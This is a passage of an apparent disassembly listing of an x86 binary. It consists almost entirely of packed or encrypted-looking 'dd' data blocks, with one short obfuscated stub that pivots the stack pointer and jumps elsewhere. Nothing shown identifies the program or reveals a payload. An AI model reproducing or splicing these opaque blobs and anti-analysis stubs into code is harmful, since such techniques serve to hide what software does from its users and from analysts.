		dd 0A44F5D2Ah, 3FC0D0A1h, 0D08F4320h, 89FF61Bh,	6CB8F2B6h
		dd 19B1FE7Ch, 57CCF8A7h, 8DDBA994h, 538h, 95E98016h, 762432D3h
		dd 17646501h, 359D1A96h, 3803A339h, 278E0392h, 2CA24DA2h
		dd 0B5098C22h, 7C6CADE8h, 91733Ch, 0B3C0C76Ch, 157E5CF2h
		dd 812631C8h, 0ECAC02B6h, 0F825B186h, 15A73EBFh, 90E7946Dh
		dd 0B1867A3Eh, 0B8394625h, 122B8312h, 332BF9B0h, 6C1D1C99h
		dd 6C0BA70Fh, 0C486B11Fh, 9E26BA51h, 1EA6F283h,	0AE2C8203h
		dd 26352F46h, 0EB821592h, 84D2CF51h, 25B234C4h,	563F9710h
		dd 5E3A39BAh, 1BA2A142h, 63130039h, 4DE2900Fh, 0B3000007h
		dd 415D3F32h, 0CEDAA6A3h, 524E2A39h, 0E1BDDFD2h, 1F244445h
		dd 0EFE28EB6h, 928F118Dh, 181F9AF6h, 80872C78h,	25C73E0h
		dd 7C735A46h, 855BCC92h, 0C28AFBFEh, 2DC453F9h,	32803896h
		dd 234C7624h, 4448CD8Bh, 797C6Ch, 772E8E0Ah, 0D1E1496Ch
		dd 5AD3FD6h, 5E04441Ah,	0D7D07C6Ch, 0A9EFBF56h,	377C6C5Dh
		dd 9933E248h, 6F620E1Ch, 0E2E1821Eh, 16971495h,	0E2811B8Ah
		dd 26C34FE7h, 0C4845223h, 327C6C5Dh, 7C6C6D72h,	6CFBA19Ah
		dd 0E642D237h, 5BF3EFF1h, 0FACDE4BAh, 9E1982B4h, 0BB1351E1h
		dd 0A5417624h, 3DC5D7A4h, 8898C37h, 0AB10DA7Bh,	1ECD7992h
		dd 0E186CD36h, 0BC255EDDh, 0DDF9F8F9h, 21FB63CBh, 0D2000000h
		dd 0F010C4D9h, 47EFFADDh, 5BEC803Ch, 2D16E64Ch,	8BA6F86Fh
		dd 477C6C44h, 1BDB4B38h, 38000000h, 0D395E980h,	1762432h
		dd 6D0A6663h, 8C4E69C5h, 46444519h, 17907C6Ch, 0FE85FD66h
		dd 2E644FBh, 5FD012A1h,	63BAFh,	2D24CD00h, 0D4D1534Fh
		dd 5847D8B4h, 0CDC46C38h, 7277F3AFh, 9CA40D16h,	27731110h
		dd 0A8E48481h, 326E0A0Dh, 7DD6B2B1h, 5A54146Ah,	0DE607C73h
		dd 0DC7EB945h, 42A87549h, 60197C6Ch, 0A2125FE6h, 0EC8C22ABh
		dd 1E7F3995h, 224D7C6Dh, 0C39B32A5h, 7C6D1E85h,	0F1FE5453h
		dd 670500A3h, 0B8592CE9h, 0BA5864A3h, 1514912Bh, 13AF0764h
		dd 4BDA80BBh, 7411DB4h,	0D5972809h, 535604AAh, 9F9D701Ch
		dd 93116310h, 99A20A96h, 770A64F3h, 0B3A3B818h,	6D3787F4h
		dd 0E4972817h, 6893B56Ah, 0B2FCE2F7h, 15Fh, 287EB9E9h
		dd 0F52CB908h, 0DF76F7C0h, 6D193E8Fh, 9A0D6A7Ch, 6D6647E1h
		dd 23544F94h, 42DD9E97h, 8F2C82A5h, 117376FDh, 91EDFE85h
		dd 7C6D25D7h, 6C1D9AE5h, 0B86017DEh, 0E17B1AA3h, 48294643h
		dd 0EC33E8E2h, 988F5CB7h, 0A901D2BFh, 2D4F4AE9h, 60F7F271h
		dd 882E21CCh, 329A5BEBh, 39CEBE73h, 0A34F5D2Ah,	0FAD1BE5Ah
		dd 0BF3CE2ACh, 0D48B47CEh, 8F21781Fh, 1F9CEDF8h, 924605B7h
		dd 64650111h, 42D970E7h, 6CE82C6Ch, 0AFFFB87Ch,	7C6CE7E9h
		dd 18059BF7h, 0FB97339Bh, 56EA7D78h, 0C5A2D3AEh, 330E4E6Dh
		dd 0E7713787h, 237F7C6Ch, 0B5F28386h, 702A434h,	1D880976h
		dd 6CE82741h, 0EE8AF57Ch, 8017B58Eh, 0D4B157E9h, 0F245507Eh
		dd 169182B4h, 0D296E87Fh, 1E7624F1h, 0EEBA3991h, 76224E45h
		dd 9FCC02CDh, 5FBC8DE8h, 6F11A1DEh, 6876250Dh, 44EF35EAh
		dd 0A5D2D152h, 0AB2547C4h
		dd 0EA79468Fh, 308E25BCh, 0EA791578h, 2D6B3B44h, 0BBEA7916h
		dd 0BA8656FCh, 872C7818h, 0D563F380h, 0BA70C0BCh, 2D4B661Bh
		dd 99A24769h, 18C0BF31h, 0A0FC9C9Bh, 19770403h,	95E97C1Eh
		dd 6E805B60h, 7F72FF91h, 49DCDBD7h, 86C77250h, 66F8F7D9h
		dd 3454FA7Bh, 53BAh, 87B6EB00h,	0B191ADE6h, 0B9E8FB53h
		dd 0B749DC7Eh, 0F79E3411h, 6C448AA7h, 4839467Ch, 28BFBA38h
		dd 0DE1FEE94h, 8EDA1A29h, 0A5C56DEAh, 77945F0Eh, 2B5859E5h
		dd 5D48DE4Ah, 17E74F2Ch, 63FD682Ah, 0F6B7C4C1h,	0A7D9B560h
		dd 257C6C35h, 0B231CB5Ah, 67001FB7h, 99FBFE85h,	73079308h
		dd 0C28E022Dh, 0E5A7906Ch, 45951C72h, 0FFB47C6Ch, 10CCE9A8h
		dd 7E7AD086h, 2EDA631h,	9E6136EFh, 0B64ACB63h, 6CECC00Bh
		dd 0E54FE308h, 0ED880464h, 8AE47BEAh, 7C6C7ACEh, 86359D1Ah
		dd 0D3D65DEFh, 5530D6A2h, 95AE7ED4h, 70E60F7h, 5382B48Dh
		dd 0CD972754h, 0FE76249Bh, 53C2C162h, 247C3D7Bh, 46EC8B76h
		dd 980FCDF6h, 0D0667904h, 9C586945h, 0DF717C6Ch, 1F3DAA53h
		dd 382CA87Bh, 186713BBh, 9D99DB6Bh, 23CF7C6Ch, 0A743512Eh
		dd 9D9EDAB4h, 4D2A7C6Ch, 0F6C4BFCCh, 781FF009h,	0A1A44FE1h
		dd 0C583D3D0h, 0F37C6C9Dh, 6300716Ch, 8EC09611h, 650CF7D1h
		dd 0D9FDBA9h, 2CA6061h,	22h, 0DC7EB999h, 44DC7549h, 4F287C6Ch
		dd 2B6D41D8h, 0B97C6C44h, 0AB5B58FEh, 25h, 0A5A046DAh
		dd 7EB97A0Dh, 1EB249DCh, 83E09194h, 243295D3h, 0EE442376h
		dd 46525727h, 29E7C6Ch,	91EE6F62h, 0FBFE85F4h, 0A102EC44h
		dd 0B525DA12h, 2D8h, 0E888872Eh, 513336BCh, 0C5A7A245h
		dd 482829C9h, 0B3D1D05Ch, 7FFBC390h, 0FC821E7Ah, 6A1783E1h
		dd 1A99F597h, 0CFE67D1Fh, 735DB9FFh, 0E6A1077Ch, 8AFBFE85h
		dd 127E75FEh, 4CDB81BAh, 6C45CB72h, 0E3901F7Ch,	6C451153h
		dd 0D18E387Ch, 0F5F0720Eh, 3F4FE784h, 0DBA900C4h, 2C1Eh
		dd 7EB98500h, 647549DCh, 0B07C6C40h, 6C2886F7h,	0E77C6C3Fh
		dd 6B90B46Bh, 0B1DBA903h, 0E1h,	0CFF8418h, 56F912BBh, 41E9965Ah
		dd 0E8FE8526h, 81DD4857h, 762432C7h, 9CED6A15h,	1061600Ch
		dd 97E4E380h, 197B7E05h, 754CF488h, 3794FFDDh, 0A7397624h
		dd 3475021Fh, 7271F29Eh, 0EF97A16h, 9C8B336Dh, 0DEAF2CFEh
		dd 9007C5FEh, 6CFB6F3Eh, 9CFCBB7Ch, 0CE59033Ch,	1918A537h
		dd 9B861868h, 2926B41Ah, 0A182B78Dh, 31BD4FC6h,	0B8445030h
		dd 0F02006B9h, 6926129Eh, 1DFF9h, 81802100h, 80DB7E3h
		dd 0BCAB3C68h, 2120C0DCh, 0D6AB5743h, 0F0C8A9CAh, 7B177574h
		dd 0C98F8E5h, 96026E61h, 0D98A16EDh, 5EB0E8C6h,	0AA3C7C73h
		dd 0EBF985F9h, 0A8C84954h, 4C0C62F9h, 98762433h, 0EFFA8D1Fh
		dd 0D928CB47h, 0D1710143h, 3921393h, 422E376Ch,	3745B54Ah
		dd 24852167h, 50C0AF76h, 6C7CD2D5h, 0DC7EB9C7h,	2711B749h
		dd 0B7F48580h, 0AD387936h, 243297D1h, 0F45A2576h, 403C4D21h
		dd 99E87C6Ch, 6C3F83C5h, 0A956517Ch, 404A0AD8h,	0F27E7C6Ch
		dd 314E41ECh, 0F682F370h, 5C07744Bh, 9778B16Eh,	0DB4064DBh
		dd 1DBA903h, 0A6h, 0FBFE859Ah, 0C261FB8Ah, 61C9B6C7h, 473435B1h
		dd 24378CF7h, 787F0476h, 0E0E78C18h, 58023D93h,	66ACF1CDh
		dd 0BFF87C6Ch, 0E8EF9428h, 6D562642h, 879A27B9h, 9FD989F6h
		dd 2D7C6C5Dh, 7C52C542h, 82B6FFA4h, 791087E0h, 0BB737D00h
		dd 389E614Eh, 0BFDDDC58h, 0FB4247E3h, 129ECC61h, 0CD2AD857h
		dd 33000000h, 0C1DDBFB2h, 4E5A2623h, 0D2CEAAB9h, 613D5F52h
		dd 9FA4C4C5h, 6F620E36h, 120F910Dh, 989F1A76h, 7ACF8h
		dd 82DCF360h, 7C735FC6h, 80DB4C12h, 0E54D44ECh,	0E8888935h
		dd 0A53037BCh, 0C46A6F0Bh, 0EC801FA4h, 75324346h, 0B3B63DDDh
		dd 360DB6C2h, 9339026Ah, 57116D04h, 65762432h, 8DE1B41Ah
		dd 7C735504h, 0A9A85420h, 0AA495B28h, 3DD4CDAFh, 740500A3h
		dd 55216737h, 0C0AF7C73h, 0E05AE6Ah, 0C56D2671h, 0E7DFF3C0h
		dd 7A0B49E1h, 17820DB4h, 0B73CE45Bh, 2FC1D0B0h,	74248A87h
		dd 0E9BBC8CFh, 693B4849h, 0EFBDCAD7h, 653D4A47h, 0F89F540Bh
		dd 0D45F857Ah, 5CE7B3D1h, 0C65D2859h, 0FA93B0E8h, 0DB733C79h
		dd 3DDh, 0DA413A00h, 94E5FC85h,	0B787F04h, 8CFDFC79h, 0E7F6AFCh
		dd 82F3F672h, 6774AF6h,	86F7CA6Ah, 397655EAh, 0BFCCC96Bh
		dd 28E868B9h, 0C890000h, 7D8A6824h, 2C890000h, 6D166824h
		dd 3C890000h, 8EBB5324h, 81545414h, 0B31FDCEBh,	44BE564Eh
		dd 0F74F9E17h, 0F68146D6h, 0B38E3E82h, 895EF331h, 8B545BDDh
		dd 0C481243Ch, 4, 0EF895752h, 895FFA89h, 0FF5A0857h, 815F2434h
		dd 4C4h, 242C8B00h, 81E38953h, 4C3h, 4C38300h, 5C241C87h
		dd 0F94F5CE9h, 0CFA6CFFFh, 0D1C8A0B8h, 0B87E1DE3h, 64F2EA8h
		dd 0E0FFC503h, 4DEDF8ADh, 679A1131h, 3EB7C4E8h,	30BD04EBh
		dd 0CAE974CFh, 0C7000005h, 5541233Eh, 0D2CEAAAFh, 66325E4Dh
		dd 0F5A1C3DEh, 0B284849h, 131692AAh, 86832571h,	0C03AEFAh
		dd 0B4B3306Ch, 16687FD4h, 7C736252h, 855FC89Eh,	0D56CFBFEh
		dd 2432BFF9h, 0F3710D76h, 7BF8B9F6h, 28D4A4D3h,	0D45F4B29h
		dd 53D0A0D1h, 0D7C8C154h, 81DE1DF4h, 5C2B48EEh,	48AFE9C5h
		dd 723D7624h, 0A5B63CDCh, 24488FC9h, 0D5525D76h, 6EDD8DA4h
		dd 125628BFh, 3E762449h, 0AEC9BBB6h, 85476FD5h,	0B41AD8CAh
		dd 38585FE4h, 0A2CEC16Ch, 7744BF6h, 0C385D970h,	117624F1h
		dd 0F16A2E80h, 9767624h, 0D0762288h, 510184F5h,	0B7BB46EAh
		dd 0D7B5320Fh, 115727BEh, 3F7624F2h, 0ACCDBAB7h, 9F7BD3DCh
		dd 0D2601114h, 7624F193h, 925D02BCh, 15AADF19h,	32EA90CEh
		dd 0EACC469Fh, 0A7379F1Ch, 0DDE1A37Ch, 7AA6h, 26780F00h
		dd 7624D362h, 9590126Eh, 8525BE14h, 0FB8AFBFEh,	70C6C361h
		dd 24332462h, 0D6A95476h, 2B2ECBD9h, 0B56A445Ah, 64DB977Ch
		dd 0E10EDB40h, 0B01DDh,	0D1680000h, 243EBBFDh, 0C86E0976h
		dd 0ECFF85BFh, 2432D692h, 485E276h, 0A481891h, 9CEDE88Bh
		dd 91CA6A1Fh, 7007B41Ah, 235057DCh, 0A5D2CF51h,	23EF47C4h
		dd 0A5F78481h, 7C77041Dh, 690BD18Eh, 13900C6Ch,	85EF7414h
		dd 0F98BF8F9h, 79017E7Bh, 1C955807h, 50209614h,	0E2E7836Fh
		dd 0A14DCD65h, 49B35A0h, 0A30B6819h, 0EDE88B07h, 0CA77099Ch
		dd 2CB35FF7h, 484F4031h, 5B9BDDB1h, 4E297624h, 1F09F6E8h
		dd 0DDE139F4h, 872Eh, 0F9857500h, 0F8D66DF8h, 762432C0h
		dd 7E16630Ch, 0ECE1BAD8h, 5C2C4BE3h, 84AFDCCBh,	27C369D6h
		dd 9A19B322h, 2981EE9Fh, 60610D99h, 56E88413h, 0EF7D3A4Bh
		dd 72334045h, 49B43CDCh, 0D8B1D683h, 1A6BE8C3h,	0AE8645F1h
		dd 0DDE1C465h, 55BFh, 2F7F1600h, 76251069h, 1D980877h
		dd 0A60C6D1Ah, 0F8F9851Dh, 0DF60FC8Bh, 3AE6AC0h, 0AC02990Ch
		dd 762432ECh, 3307411Dh, 0AAD57624h, 7A79D1DEh,	86AA11DDh
		dd 0FE85E7FAh, 8DFAFF85h, 2432783Dh, 0A41BD776h, 0E10E9B80h
		dd 0D37408DDh, 50E687F4h, 18Ch,	0E2851700h, 79FA96E7h
		dd 1DB6EB7Ah, 43805B20h, 0A2D3D653h, 0C1EE44C5h, 423336B3h
		dd 0CEA08D36h, 7624868Ah, 0DBA82956h, 0FD32E9C3h, 0B963D89Ah
		dd 0D195CF26h, 32EA9FA3h, 0B532B3B6h, 75338B22h, 437624DFh
		dd 9AF28E24h, 126CFBA1h, 7C6CF367h, 8978FA96h, 0AF24FC6h
		dd 0F55DDA55h
		dd 0BACDBAC5h, 0E9949A26h, 51C16916h, 0ABEDC1D2h, 397C6C75h
		dd 0B5C2C76Dh, 0AAF677F4h, 17E75FEh, 6C75F5B1h,	0CCC5D07Ch
		dd 40B43E80h, 0B02A80CEh, 948221CBh, 0FB78E8EFh, 61EE8FFCh
		dd 0E9EC9703h, 986B0898h, 0B10D74C9h, 7C6C55F7h, 64C9BAC5h
		dd 96E76403h, 122C65F0h, 819A26FBh, 15CA842Ah, 0B29136CAh
		dd 820EA4C5h, 616FF1E1h, 0F4B5C2DFh, 0C86A0677h, 0ADCF4CCDh
		dd 0A918160Dh, 113CCDBh, 0B9570000h, 7549DC7Eh,	7C6C41B0h
		dd 0E75D8F04h, 3ABBAA9Bh, 37BCCCBDh, 0BF445030h, 3AB9CBB8h
		dd 46384E3Fh, 0EFBF5699h, 7C6D0EA9h, 36E24837h,	0BBEAB68Dh
		dd 0F4858421h, 948F1FB7h, 4EDBA9D2h, 39h, 0D97BB9D5h, 3388704Eh
		dd 0ABD47624h, 334C0CDAh, 19517624h, 0CF7642A2h, 0BEAB3D23h
		dd 0A223A0C1h, 336D5B33h, 821E7624h, 706DF3E7h,	4DE56203h
		dd 8826422Dh, 99h, 0DC7EB90Fh, 4EBC7549h, 6F087C6Ch, 87A283F8h
		dd 75A273D6h, 21C2DEDDh, 0A94A4622h, 58A21C5Eh,	74353EFFh
		dd 1D8B80BCh, 0A64CDC5Dh, 54D5D2A3h, 0ADCC9727h, 0A0F77C6Ch
		dd 75FA3FEBh, 609EEE5Ah, 30176038h, 1DC7B058h, 4E985B76h
		dd 13C88228h, 4D2F2AC9h, 293DB854h, 0A80E8F8Ah,	0B621EBD4h
		dd 0EC9D981Ah, 7B83C599h, 56517C6Ch, 3A9401A9h,	82BBAAB3h
		dd 0EDF6FC77h, 10A1D002h, 0ED96E293h, 0A7FE9916h, 1A6B6E15h
		dd 0C4BB359Dh, 0E2751720h, 7B58018Ch, 3E5A257Ch, 0DC7EB995h
		dd 941EB249h, 1483E091h, 2432FEBAh, 5ADCA76h, 73624657h
		dd 1285E27Ch, 6165237Bh, 38967C73h, 7C736180h, 5651234Ch
		dd 2A1F380h, 8A296507h,	6C1D149Ch, 1C159D0Fh, 16810E6Fh
		dd 791A3B9Dh, 0E84E857Eh, 4925BCCBh, 7C73450Fh,	45226638h
		dd 0C1AE7C73h, 0CC8CE2B3h, 187C7344h, 1AB81E9Fh, 0EEF34A4Eh
		dd 6DB06F23h, 0FD88B734h, 0D179E867h, 30A7A241h, 8D1F0A9Ch
		dd 1495E2E7h, 0CD7622BEh, 34C85FF6h, 0BBF88988h, 0F3E1ADEBh
		dd 0D67C3BEAh, 96D5CED9h, 0CDD3A2F5h, 0FCEDAB03h, 0BCFBEAF3h
		dd 7BFB973Fh, 521F2692h, 18EA93Eh, 94822070h, 1A9BE8EFh
		dd 169CEC9Dh, 934F6213h, 0C270172Ch, 0A93ED21Dh, 0FF8414BAh
		dd 670C98F8h, 0E8841360h, 0D5E34B56h, 3, 85DA4132h, 494E5FCh
		dd 790B787Fh, 0FC8CFDFCh, 720E7F6Ah, 0F682F3F6h, 6A06774Ah
		dd 0EA86F7CAh, 6B397655h, 0B9BFCCC9h, 5585450h,	4, 8704E883h
		dd 685C2404h, 3EE4h, 68243489h,	2735h, 55242C89h, 4F2F42BDh
		dd 8BEE8906h, 0C481242Ch, 4, 0A5D68h, 24248900h, 4240483h
		dd 0BD55565Dh, 1FCF6259h, 4246C29h, 8458F5Dh, 59084581h
		dd 8B1FCF62h, 8950242Ch, 405E0h, 4050000h, 87000000h, 8B5C2404h
		dd 89522434h, 4C281E2h,	81000000h, 4C2h, 24148700h, 4973E95Ch
		dd 0DF4BFFF9h, 67319271h, 0A797D5B5h, 347FB893h, 0C503064Fh
		dd 0AEE5E0FFh, 985006F7h, 775E1330h, 0FD6E5813h, 0B5762E99h
		dd 508B61D8h, 0AF552D5Ch, 0E4FC41BFh, 8528054Ah, 0DE6F74A3h
		dd 72112BEh, 0FF032070h, 0B8DA1204h, 4EB7CF3h, 616023D3h
		dd 587E9h, 5150D100h, 0D8DD6733h, 4C5BECB8h, 0F1F0702Ch
		dd 667B0793h, 0A098F91Ah, 2B670504h, 0BCE88895h, 46523E31h
		dd 9DAA6BDh, 67601876h,	0DA6C7C73h, 0E8FE8549h,	0BBC84948h
		dd 2C4C4DE9h, 15A53C75h, 74FA74D3h, 0B2B132DEh,	0FD0CB7C5h
		dd 0BF34AE00h, 389601AEh, 76251B80h, 0D5A2234Ch, 7DEC9C2h
		dd 57277FDh, 40701364h,	0B43EDA70h, 0EAE9C0B1h,	3D3AF7B1h
		dd 6BC32701h, 0CC638A71h, 24A3B6F2h, 0CD650276h, 0C1A3A64Dh
		dd 84DD28D5h, 65B0D5h, 0DD6FE667h, 412E5F4Ah, 0D3C8D9E9h
		dd 8669970h, 76253150h,	266139Ch, 0AC6CC289h, 0E2970E01h
		dd 5FE481F5h, 394A2B58h, 0EC420182h, 0CA2BBDCFh, 0C8FE4FBAh
		dd 0EA9B185Eh, 0E830EF6Bh, 722E4A4Dh, 0CE8AE4F1h, 1A76246Bh
		dd 186F1C9Dh, 88F9F884h, 0E7F7AF8h, 0EE70E061h,	387D5BF3h
		dd 1776246Ch, 5BC0E45Bh, 81DDE137h, 7Ch, 8DCAB3E8h, 3CF6B20Ch
		dd 0A5C27624h, 0F2F7F2D0h, 0FE854B5Ch, 7A3C8AFBh, 0D5762432h
		dd 9982A219h, 43DDE10Eh, 1, 95E980D8h, 762432D3h, 6E0A86E1h
		dd 0AD57C36Bh, 2BC9DBA8h, 0D063A4DAh, 9B1832C8h, 1B169EEAh
		dd 0BC50476Ah, 25973F2Ah, 9825B766h, 9617EA8Ah,	0D7D250C0h
		dd 6945DCB5h, 7624982Fh, 0BC5CF2BDh, 819C2337h,	9F316000h
		dd 36881F12h, 76249772h, 0E99317Eh, 0D395E980h,	0E1762432h
		dd 327A3E90h, 39467624h, 0FA8612B8h, 0B634CF4h,	7624334Dh
		dd 1E9F1C9Bh, 94911361h, 7E2D9FE7h, 24618AFh, 0CE762433h
		dd 0ED8909A1h, 93108CECh, 76880194h, 0DADF65D3h, 65BBCCADh
		dd 0A0CF671Fh, 0F2A44FD0h, 0D680067Fh, 99B2C340h, 0BD567E2Dh
		dd 67DDE1D1h, 55h, 0F8F985BCh, 7B66F98Bh, 19B0270Ah, 24330345h
		dd 0D6D176h, 0AF4B914Eh, 56D2CEAAh, 0AE562253h,	3DA9A2D3h
		dd 10AD664Eh, 5877DDE1h, 0AC000000h, 6DF8F985h,	215E53D3h
		dd 0BFCDEA40h, 0C14E3F32h, 0EE8A5E0Dh, 841889EBh, 0E16D10E3h
		dd 0C1B6FF8Bh, 0DC723340h, 0E9FF85CBh, 513E4B56h, 0E2E6764h
		dd 354031BEh, 0BC88C09Eh, 2B547624h, 0D9539B5Eh, 268CB03Ch
		dd 251AEDA8h, 33E86276h, 0E1E6EE15h, 134DDh, 856F0000h
		dd 0FA96E7E2h, 8A0D7A79h, 30CC13C8h, 91D7A7B0h,	5F762432h
		dd 9F7BD350h, 1A740B08h, 7624325Eh, 1B5D0D6Ah, 0A9762433h
		dd 4B2341CEh, 0A43BAA70h, 32F7B10Dh, 0BAC57624h, 47134614h
		dd 0D0DF7C6Ch, 38DFD4A3h, 305D7C94h, 0A84BC76Fh, 76094259h
		dd 0A8CB0DADh, 0D34F38CDh, 0EDAB0394h, 0FB7C6C35h, 0D2BE3FBCh
		dd 49263DC6h, 1902A23Eh, 6C360345h, 29D6D17Ch, 3593D381h
		dd 84367C6Ch, 93961DC7h, 1B1EA5F1h, 9E951E6Ah, 782799E1h
		dd 0A13433B0h, 35F4B40Ah, 0A7C07C6Ch, 20DB730Fh, 0FADBA90Dh
		dd 14Ah, 0BAA739D3h, 7EB97314h,	0BE2A27CFh, 28BF3C33h
		dd 0EC671891h, 1125CF8Dh, 24A50741h, 4AAD576h, 0B2F83D91h
		dd 0A3CC7C6Ch, 353DC6D2h, 4E20B792h, 7C6CAF0Ah,	4828A9D6h
		dd 7324D75Ch, 0D03D8180h, 23710E8Fh, 7E128580h,	0EE8FFCF3h
		dd 5BF3F672h, 0B774465Ch, 0A1C3C66Dh, 0DCCB5CF0h, 0C6BD6676h
		dd 5867DBA9h, 0BC000000h, 4ED97BB9h, 8C9F25B7h,	24327632h
		dd 0A4254276h, 3358400Eh, 0F847624h, 58CB94ADh,	68207E59h
		dd 74762470h, 7C0D8A0Bh, 0D8AD7029h, 6BAC59CBh,	0D7A67F9h
		dd 0D088C66Ch, 0D576251Dh, 0F2CE26E5h, 0FFE9C550h, 6D76251Dh
		dd 14A4E0F6h, 0B63703B5h, 8C5CEAh, 0B9BB0000h, 7549DC7Eh
		dd 7C6C4EBCh, 821E6F08h, 0DC73E2E1h, 6C4DC682h,	3D95127Ch
		dd 7772F1ADh, 55DD6F06h, 0E84E2F5Ch, 6C4EA9EAh,	9482217Ch
		dd 196617F2h, 1C99EB98h, 0A4166C1Dh, 56412EE7h,	92383FBAh
		dd 3AB963D8h, 427D5D3Fh, 0A386306Ch, 28710207h,	0AC3BB8A8h
		dd 0BC57DDD2h, 93026D82h, 5E311A1Eh, 81F2FCF2h,	0B31BD0DDh
		dd 1E9D35FDh, 95E2E182h, 61019BF2h, 2B90CA60h, 0CD58023Dh
		dd 6059A36h, 1AD22B0h, 723D7C7Bh, 7EB98D16h, 1BB249DCh
		dd 24330543h, 0A3D4D376h, 0F3EE42CAh, 7F5DF5CFh, 7C743080h
		dd 0C2DEAFC8h, 0CB08D621h, 592A2FCBh, 0FC6C0B5Ch, 9CFC7D74h
		dd 0CF776300h, 67E485F2h, 41ED7F16h, 0DC723340h, 0A2D755FEh
		dd 897624E3h
		dd 0A7C5C063h, 0DA4D48EBh, 0C72D6B43h, 0FCBBD784h, 0AB4B5956h
		dd 0BC3ED9D6h, 9B9E25CFh, 7214A8F9h, 0EF8AE697h, 57C36BE8h
		dd 2AD8A9ACh, 23h, 9728C45Bh, 0ECBAFB88h, 0D784C6ACh, 0CCD77F38h
		dd 4E41EC80h, 0A8538431h, 0F84DE861h, 4C4DE97Bh, 8525EEE6h
		dd 494E5FCh, 790B787Fh,	0FC8CFDFCh, 720E7F6Ah, 0F682F3F6h
		dd 6A06774Ah, 0EA86F7CAh, 6B397655h, 0B9BFCCC9h, 81E18951h
		dd 4C1h, 4E98300h, 2474FF51h, 48F5904h,	45685C24h, 89000059h
		dd 9A682434h, 8900007Dh, 0BD55241Ch, 64F3554h, 2C8BEE89h
		dd 4C48324h, 241C8B54h,	4C481h,	56520000h, 5E240481h, 5A4ABA6Ah
		dd 6A5EEA81h, 53894ABAh, 1C8B5A08h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_541331
; ---------------------------------------------------------------------------
		db 0CFh
		dd 0FEA8D33Fh, 4F3A5FB8h, 0FFC50306h, 3B3D19E0h, 0DC6E8A06h
		dd 0A8FB6C0Fh, 7C52AF54h, 9F7B9D1Bh, 0C4D32364h, 84804279h
		dd 5DE55A3Fh, 0CD4E4964h, 0B5B4C029h, 0D796EF4Dh, 3660C676h
		dd 0A7F03B11h, 0C6111B58h, 0B107AD3Ch, 9ADEFE6Fh, 49D0A37Eh
		dd 2F89CB1Ch, 6053E92Fh, 7A1F559h, 0CA778F79h, 53FE7819h
		dd 0D4288971h, 5B9BAF33h, 36B65052h, 9511381Bh,	7E04EB03h
		dd 0E9517BA9h, 5F7h, 3C5C53D2h,	0A5C7C260h, 294B56E9h
		dd 9CFCF57Dh, 7656400h,	3AF97FCh, 9036620Eh, 3EBBD7B5h
		dd 0A64D593Bh, 7B12C1A3h, 736D6523h, 3AED737Ch,	6CFBFE85h
		dd 9E8B3B37h, 0AF651E15h, 0E36EC5AEh, 0BB85298Ah, 95E7943Ah
		dd 1C88E8E9h, 0E1FC8397h, 3921390h, 4556126Ch, 0E7827624h
		dd 661293E0h, 0C8126C19h, 0A9071726h, 9D267201h, 199BE986h
		dd 96446F1Ch, 65600329h, 0EBEE8B07h, 4245E07Ch,	25C0DCECh
		dd 0C41E5A34h, 0CDAA7624h, 0DB6D3F4Ch, 47E3B1CEh, 0C0673542h
		dd 0CDBDB4C5h, 0E7BED91Eh, 0E032D4B2h, 0D0667266h, 7EFB219Eh
		dd 6438CB68h, 0B19590BCh, 0D8D9D657h, 28A9A848h, 0D0D75C48h
		dd 185213A3h, 41FD7625h, 3BB9539Ah, 8A20413Eh, 0E1E809F2h
		dd 0AB039ADDh, 76251CEDh, 3616BCFBh, 6Eh, 0DE0B806Dh, 9D1E1A9Dh
		dd 0EB8808AEh, 87CF9FECh, 0CA76252Dh, 867DAB10h, 5CDDE1F5h
		dd 1, 0ECFF85C7h, 2432D692h, 0ED96E276h, 0A0FE6916h, 762432E8h
		dd 9B0A8BF4h, 50AC24E6h, 821525D3h, 24A46C2Ch, 973F7876h
		dd 0FCEA8818h, 6E0F7C6Bh, 600090E1h, 0E3801061h, 780597E4h
		dd 69210879h, 0C4B67DB2h, 5257DD07h, 0DAD95A36h, 0B8015BEh
		dd 0EED166A3h, 4E5BED1Ch, 5BF37031h, 413E33BFh,	0C7B4B133h
		dd 0CA1ECDBFh, 5D492B2Eh, 0AD44D3D6h, 24AD97D1h, 0F45A2576h
		dd 3712B5C7h, 52B5EBA0h, 0ED869924h, 32980148h,	61DE8885h
		dd 0E187CC47h, 0B316DDh, 858D0000h, 0D36DF8F9h,	0ECC25550h
		dd 762432ACh, 0D8D77F38h, 5B2837C8h, 0DEAFAA49h, 0E158D325h
		dd 0E8784C68h, 9C3B4857h, 61A861DEh, 912BF2A9h,	7641514h
		dd 4247E3AFh, 0CBCE6A26h, 2423C05Ch, 1393E18Eh,	8C13611Eh
		dd 3995E091h, 76247D7Fh, 0CB6224Dh, 17DB7809h, 588B67A8h
		dd 838941A9h, 8E7DE902h, 0E11F6DA6h, 7DB7DDh, 80EC0000h
		dd 32AA060Bh, 0F7807540h, 0E90EB7EAh, 0C753FBE3h, 3E49263Bh
		dd 0AD0500A2h, 304140EDh, 0DC8F0493h, 9DA21848h, 1514DFD6h
		dd 0CF4C647Ch, 62B67567h, 0A550D0C6h, 64106FE4h, 96E76429h
		dd 0D7A79FAh, 26EEF6Ch,	0E9FF8561h, 70314E4Bh, 713482F3h
		dd 0A5762432h, 1B690603h, 93EB9885h, 44AD62D9h,	3134BF51h
		dd 0D18B2340h, 0EC13A6Ah, 0BE52DDE1h, 2F4C3D28h, 14787h
		dd 85DC0000h, 0FA96E7E2h, 51EB7A79h, 0A440D0D1h, 0E76E0DA5h
		dd 0DB6CB46Bh, 0F3CCACCCh, 0B9E0BE29h, 257C6C46h, 0C65A2D5Ah
		dd 0B2913620h, 76FD9D35h, 0B0C1C060h, 7A1672F3h, 3D8DFAF9h
		dd 7C6C4679h, 22D925Ch,	82DCD96Eh, 7C6C46C6h, 0BE149512h
		dd 365251D2h, 2CC9D95Ah, 0CABBB63Eh, 5E5F2CADh,	53D0A0D1h
		dd 0C0664942h, 57EE9592h, 6CDC4107h, 63E08F7Ch,	57E98C12h
		dd 0DBD8A9ACh, 5E827973h, 0E3B2DED5h, 4AAB749h,	0A9A7B368h
		dd 16D69DBh, 0B9B20000h, 0B249DC7Eh, 4BF02DF9h,	61C987F7h
		dd 6C51B273h, 958D067Ch, 0E754A335h, 0EC801794h, 0CCEB4346h
		dd 872337BCh, 2B670582h, 0ACFC8D88h, 2B730007h,	0DD9BF38Ah
